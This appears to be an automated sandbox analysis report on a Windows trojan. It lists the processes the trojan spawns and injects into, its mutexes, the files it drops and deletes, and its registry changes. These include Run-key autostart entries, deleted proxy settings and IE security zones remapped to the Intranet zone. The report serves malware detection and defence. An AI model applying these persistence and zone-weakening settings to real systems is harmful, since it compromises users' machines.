Trojan.GenericKD.2406233_c5845949f9

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

-2100_1_ss.exe:2472
Y73P2PSearcher_4.exe:500
JSZS.exe:3360
JSZS.exe:2480

The Trojan injects its code into the following process(es):

%original file name%.exe:396
copy%original file name%.exe:1524
Y73Server.exe:1920
JSZS.exe:2564

Mutexes

The following mutexes were created/opened:

c:!documents and settings!adm!local settings!history!history.ie5!mshist012015060720150608!_!SHMSFTHISTORY!_CTF.TMD.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Layouts.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Asm.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Compart.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.LBES.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003RasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexShimCacheMutex

File activity

The process %original file name%.exe:396 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
C:\copy%original file name%.exe (10177 bytes)

The process copy%original file name%.exe:1524 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\core[1].php (751 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\will[1].htm (374 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\z_stat[1].php (1097 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (4048 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@tongji.110160[1].txt (219 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)

The Trojan deletes the following file(s):

%Program Files%\JiSuZhuShou\¼«ËÙÖúÊÖ.lnk (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416 (0 bytes)
%Program Files%\JiSuZhuShou\uninst.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416\index.dat (0 bytes)
%Documents and Settings%\%current user%\Desktop\ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (0 bytes)

The process -2100_1_ss.exe:2472 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\JiSuZhuShou\JSZS.exe (56309 bytes)
%Program Files%\JiSuZhuShou\¼«ËÙÖúÊÖ.lnk (613 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\¼«ËÙÖúÊÖ\¼«ËÙÖúÊÖ.lnk (691 bytes)
%Program Files%\JiSuZhuShou\AdbWinApi.dll (3748 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\JSZS.exe (56309 bytes)
%Program Files%\JiSuZhuShou\usbhigh.sys (9238 bytes)
%Program Files%\JiSuZhuShou\adb.exe (24009 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\System.dll (11 bytes)
%Program Files%\JiSuZhuShou\JSHlp.exe (27601 bytes)
%Program Files%\JiSuZhuShou\x64\usbhigh.sys (12213 bytes)
%Program Files%\JiSuZhuShou\AdbWinUsbApi.dll (2733 bytes)
%Program Files%\JiSuZhuShou\uninst.exe (892 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\¼«ËÙÖúÊÖ\жÔؼ«ËÙÖúÊÖ.lnk (527 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\JSZS.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\System.dll (0 bytes)

The process Y73Server.exe:1920 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\stat[2].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ico_here[1].gif (1 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\setting.ini (50 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\61.196.186[1].htm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\do1[1].php (19327 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@61.196.186[1].txt (210 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\base[1].css (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\core[1].php (752 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\stat[1].php (1177 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\search_btn[1].png (534 bytes)

The process Y73P2PSearcher_4.exe:500 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\setting.ini (32 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe (9130 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (744 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\uninst.exe (745 bytes)
%Documents and Settings%\%current user%\Desktop\ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (732 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.url (37 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\¹Ù·½Ö÷Ò³.url (37 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Uninstall.lnk (727 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsc1.tmp (0 bytes)

The process JSZS.exe:2564 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\drivers\usbhigh.sys (1425 bytes)
%System%\config\SYSTEM.LOG (4681 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tab2[1].png (2855 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\u2[1].htm (108 bytes)
%Documents and Settings%\%current user%\AppData\Local\JiSuZhuShou\dwonJsMobile.dat (28 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\tj[1].htm (8 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\JiSuZhuShou\Fav9.dat (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\tab3[1].png (775 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\tj[1].htm (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\btns[1].js (376 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tj[1].htm (26 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\JiSuZhuShou\btns.js (376 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\JiSuZhuShou\edi.dat (378479 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\qv[1].htm (2 bytes)
%System%\config (288 bytes)
%System%\config\system (3025 bytes)
%WinDir%\nvse.dat (86 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\JiSuZhuShou\Down\ETagFile.dat (100 bytes)

Registry activity

The process %original file name%.exe:396 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:]
"copy%original file name%.exe" = "copyc5845949f95c5b713b9a76d5211c835f"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9E 76 92 97 65 F7 CC 76 CC 38 80 B9 CD 80 24 13"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"TimeHint" = "c:\%original file name%.exe"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process copy%original file name%.exe:1524 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060720150608]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012015060720150608\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060720150608]
"CacheLimit" = "8192"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060720150608]
"CacheOptions" = "11"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 60 A4 9E D4 C2 2D 75 20 57 A4 9D 63 99 B1 46"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060720150608]
"CacheRepair" = "0"
"CachePrefix" = ":2015060720150608:"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014041520140416]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process -2100_1_ss.exe:2472 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\JiSuZhuShou]
"ci1" = "4294965196"
"ci2" = "1"

[HKLM\SOFTWARE\JiSuZhuShou]
"UpdateVer" = "65537"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\JiSuZhuShou]
"JiSuZhuShoufilename" = "JSZS.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C0 CD 16 AE 35 1C C9 B2 81 D7 14 54 5D 1B 21 27"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\JiSuZhuShou]
"JiSuZhuShoufiledir" = "%Program Files%\JiSuZhuShou"

The process Y73Server.exe:1920 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E 2D D1 45 2B EA 1C 62 BF 37 00 8B 06 1B C3 74"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Y73ÖÖ×ÓËÑË÷ÉñÆ÷" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process Y73P2PSearcher_4.exe:500 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"URLInfoAbout" = "WWW.Y73.COM"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"Publisher" = "ÉîÛÚÊÐÀÖ¼ª¿Æ¼¼ÓÐÏÞ¹«Ë¾"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"DisplayIcon" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"
"SetupId" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"DisplayVersion" = "6.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"DisplayName" = "Y73ÖÖ×ÓËÑË÷ÉñÆ÷ 6.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

